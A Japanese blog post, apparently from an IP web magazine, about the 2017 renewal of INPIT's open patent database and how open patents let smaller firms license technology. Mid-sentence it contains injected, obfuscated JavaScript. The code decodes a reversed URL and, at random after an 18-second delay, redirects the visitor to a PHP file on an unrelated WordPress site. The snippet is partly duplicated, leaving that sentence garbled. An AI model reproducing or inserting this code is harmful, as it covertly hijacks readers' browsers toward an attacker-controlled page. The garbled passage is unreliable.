開放特許情報データベース リニューアル【知財ニュース拾い読み】

開放特許情報データベース リニューアル【知財ニュース拾い読み】

INPIT – 2017/3/27 – http://www.inpit.go.jp/katsuyo/db/dbnew.html

INPIT(独立行政法人 工業所有権情報・研修館)提供の「開放特許データベース」がリニューアルされたとのことです。

確認してみると、見た目は$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top/BTmTopPage” target=”blank”>J-PlatPatと同様のものに変わったようですし、検索機能やモバイル対応など、機能面のパワーアップも行われたそうです。

PCを操作する男性

開放特許とは、特許権者が、他者に実施を許諾する意思のある特許のことです(注:特許権が放棄されているわけではありません)。

開放特許の特許権者は、開放特許の実施者への実施許諾によってライセンス料等の利益を受けることができます。

一方、開放特許の実施者は、自身では発明できないような特許技術を使用することができます。

このため、開放特許は、一般的に、大企業や研究機関が保有する開放特許の技術を中小企業が使用するというパターンで活用されています。

開放特許データベース(https://plidb.inpit.go.jp/)は、企業や大学・研究機関等の、ライセンスや権利譲渡の可能な特許が掲載されたものです。

リニューアル後の開放特許データベースでは、検索機能が変更されており、検索がしやすくなっています。

これにより開放特許の活用が進めばと思います。

また、開放特許に興味のある方は、発明plusの過去の開放特許に関する記事もどうぞご覧下さい。

出典:『開放特許情報データベース リニューアル【知財ニュース拾い読み】』(発明plus〔旧:開発NEXT〕)


弁理士。コスモス国際特許商標事務所パートナー。名古屋工業大学非常勤講師。1980年愛知県生まれ。名古屋工業大学大学院修了。知的財産権の取得業務だけでなく知的財産権を活用した製品作りの商品開発コンサルタントを行う。知財マッチングを展開し、ものづくり企業の地方創世の救世主として活躍している。著書に『社長、その商品名、危なすぎます!』(日本経済新聞出版社)、『理系のための特許法』(中央経済社)等がある。 特許・商標の活用を応援するWEBマガジン「発明plus Web」( https://hatsumei-plus.jp/ )を運営している。